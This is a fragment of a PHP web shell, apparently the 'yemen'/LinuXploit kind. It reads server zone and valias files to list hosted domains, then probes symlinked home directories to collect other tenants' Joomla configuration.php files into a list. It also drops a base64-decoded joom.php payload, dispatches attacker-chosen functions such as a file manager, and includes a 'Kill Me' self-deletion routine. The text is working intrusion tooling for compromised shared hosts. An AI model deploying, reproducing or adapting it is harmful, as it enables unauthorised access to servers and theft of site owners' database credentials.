if(!$d00m)
{

                die ("<meta http-equiv='refresh' content='0; url=?webr00t=read'/>");
}
else

{
echo "<div class='tmp'>
<form method='POST' action='$pg?webr00t=joom'>
<input type='submit' value='Mass ching Admin' />
<input type='hidden' value='1' name='s' />
</form><br /><br />
<table align='center' width='40%'><td> Domains </td><td> config </td><td> Result </td>";

$f = fopen('joomla.txt','w');

foreach($d00m as $dom){

if(eregi("zone",$dom)){

preg_match_all('#zone "(.*)"#', $dom, $domsws);

if(strlen(trim($domsws[1][0])) > 2){

$user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));

///////////////////////////////////////////////////////////////////////////////////

$wpl=$pageURL."/sym/root/home/".$user['name']."/public_html/configuration.php";
$wpp=get_headers($wpl);
$wp=$wpp[0];

$wp2=$pageURL."/sym/root/home/".$user['name']."/public_html/blog/configuration.php";
$wpp2=get_headers($wp2);
$wp12=$wpp2[0];

$wp3=$pageURL."/sym/root/home/".$user['name']."/public_html/joomla/configuration.php";
$wpp3=get_headers($wp3);
$wp13=$wpp3[0];


 ////////// joomla ////////////

$pos = strpos($wp, "200");
$config="&nbsp;";

if (strpos($wp, "200") == true )
{
 $config= $wpl;
}
elseif (strpos($wp12, "200") == true)
{
  $config= $wp2;
}
elseif (strpos($wp13, "200") == true)
{
  $config= $wp3;
}
else
{
continue;

}
flush();

/////////////////////////////////////////////////////////////////////////////////////

$dom = $domsws[1][0];

$w = fwrite($f,"$config||$dom \n");
if($w){$r = '<b style="color: #006600">Save</b>';}else{$r = '<b style="color:red">failed</b>';}


echo "<tr><td><a href=http://www.".$domsws[1][0].">".$domsws[1][0]."</a></td>
<td><a href='$config'>config</a></td><td>".$r."</td></tr>";





flush();


}
}
}
}


break;









}


/// home ///
}else
{


echo '';
echo '';
 {
	


}

    echo '
<br /><br /><br /></b></b><div class="fot"> <b></b>  <b></b>
<br /><br />

<br /><br />
</div> ';

}


function ex($text,$a,$b){
$explode = explode($a,$text);
$explode = explode($b,$explode[1]);
return $explode[0];
}



echo '</div>





</body>

</html>
';

?>';

$file = fopen("joom.php" ,"w+");
$write = fwrite ($file ,base64_decode($joom1));
fclose($file);
echo '<iframe src="joom.php" style="height:500px; width:1500px; border:0px;" name="Mass">';
yemenfooter();
}

 function yemenselfrm()

 {

    

    if($_POST['p1'] == 'yes')

		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))

			die('Shell has been removed');

		else

			echo 'unlink error!';

    if($_POST['p1'] != 'yes')

        yemenhead();

	echo "<div class=header><pre class=ml1 style='margin-top:5px'>";

    

    

    echo "
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
?????????????????
????????????????
????????????????
????????????????
?????????????????
????????????????
????????????????
????????????????
????????????????
????????????????
????????????????

";

    

    

    

    echo '<br>Kill Me?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';

	yemenFooter();

    

 }





if( empty($_POST['a']) )

	if(isset($default_action) && function_exists('yemen' . $default_action))

		$_POST['a'] = $default_action;

	else

		$_POST['a'] = 'FilesMan';

if( !empty($_POST['a']) && function_exists('yemen' . $_POST['a']) )

	call_user_func('yemen' . $_POST['a']);

	exit;

")); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit